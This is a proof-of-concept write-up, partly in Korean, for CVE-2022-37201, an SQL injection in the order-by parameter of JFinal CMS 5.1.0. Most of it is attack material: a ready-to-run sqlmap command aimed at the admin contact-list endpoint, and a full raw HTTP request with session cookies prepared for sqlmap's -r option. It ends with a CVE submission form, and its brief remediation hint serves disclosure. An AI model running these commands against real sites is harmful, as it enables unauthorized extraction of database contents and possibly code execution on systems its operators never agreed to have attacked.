
CVE-2022-37201 개념 증명
CVE-2022-37201 POC
먼저 sqlmap을 설치해야 합니다.
설정해야 합니다:
그런 다음 셸을 실행하세요.
sqlmap -u http://targetDomainOrIP/jfinal_cms/jfinal_cms/admin/contact/list --thread 8 --batch --smart --random-agent --data "
form.orderColumn=*&form.orderAsc=&attr.name=%E4%B8%89&totalRecords=2&pageNo=1&pageSize=20&length=10" --cookie " your cookie " --current-db
image-20220730053527316
때때로 /jfinal_cms/ 경로가 필요하지 않을 수 있습니다. 경로를 판단해야 합니다.
인터페이스 /system/menu/list의 코드를 볼 수 있습니다.
sql.append(" order by ").append(orderBy);
직접 연결된 SQL 문이 있습니다.
게다가
SQL 인젝션을 방지하기 위한 조치가 없습니다. 그 이유는 여기서 SQL 인젝션이 요구되기 때문입니다.
이 기능 지점을 분석한 결과, orderby의 인젝션이 id, name, menu key와 같이 고정되어 있음을 발견했습니다. 따라서 매개변수화된 쿼리를 사용하거나 화이트리스트를 만들 수 있습니다.
내 테스트
POST /jfinal_cms/admin/contact/list HTTP/1.1
Host: 172.30.48.1
Content-Length: 98
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.30.48.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.30.48.1/jfinal_cms/admin/contact/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=BF13B42EDFC3DEC180959D6DF143BD18; Hm_lvt_1040d081eea13b44d84a4af639640d51=1659122360; session_user="wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c="
Connection: close
form.orderColumn=*&form.orderAsc=&attr.name=%E4%B8%89&totalRecords=2&pageNo=1&pageSize=20&length=10
sqlmap에서 실행하세요!!! -r 옵션을 사용하세요.
[Suggested description] JFinal CMS 5.1.0은 SQL 인젝션에 취약합니다.
[Additional Information] https://github.com/AgainstTheLight/someEXP_of_jfinal_cms/blob/main/jfinal_cms/sql4.md
[Vulnerability Type] SQL 인젝션
[Vendor of Product] 개발 그룹
[Affected Product Code Base] https://github.com/jflyfox/jfinal_cms - JFinal CMS 5.1.0
[Affected Component] 이 인터페이스들은 동일한 구성 요소를 사용하지 않으며 필터도 없지만 각각 자체 SQL 연결 방식을 사용하여 SQL 인젝션이 발생합니다.
[Attack Type] 원격
[Impact Code execution] true
[Impact Information Disclosure] true
[Attack Vectors] 사용자 로그인이 필요합니다
[Reference] https://github.com/AgainstTheLight/someEXP_of_jfinal_cms/blob/main/jfinal_cms/sql4.md
[Discoverer] jw5t